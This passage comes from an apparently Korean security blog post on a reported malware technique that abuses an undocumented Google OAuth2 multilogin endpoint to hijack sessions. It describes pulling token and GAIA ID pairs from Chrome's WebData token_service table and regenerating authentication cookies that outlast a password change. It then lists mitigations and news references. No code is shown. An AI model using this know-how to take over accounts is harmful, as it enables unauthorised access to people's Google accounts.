> 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음

 

[사진 2] 리버스 엔지니어링 결과

 

- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출

> 추출을 위해 WebData의 token_service table 참조

> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음

 

[사진 3]  WebData의 token_service table

 

추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성

 

[사진 4] 인증 쿠키 재생성

 

- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능
> 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능

 

3. 대응방안

- 임시 수정 단계

① 모든 브라우저에서 로그아웃하여 세션 토큰 무효화

② 비밀번호 재설정

③ 재로그인하여 새 토큰 생성

※ 참고사이트 임시 수정 단계 참고 [2]

 

- g[.]co/mydevices을 통해 모든 활성 세션 종료

 

- 향상된 세이프 브라우징 사용 [3]

 

4. 참조

[1] https://www.youtube.com/watch?v=NzAtZzzFoOs
[2] https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking
[3] https://support.google.com/accounts/answer/11577602?hl=ko
[4] https://securityaffairs.com/156723/hacking/exploit-regenerates-google-cookies.html
[5] https://www.bleepingcomputer.com/news/security/google-malware-abusing-api-is-standard-token-theft-not-an-api-issue/#google_vignette
[6] https://www.dailysecu.com/news/articleView.html?idxno=152620
[7] https://www.dailysecu.com/news/articleView.html?idxno=152653
[8] https://www.boannews.com/media/view.asp?idx=125357&page=9&kind=1

+ Recent posts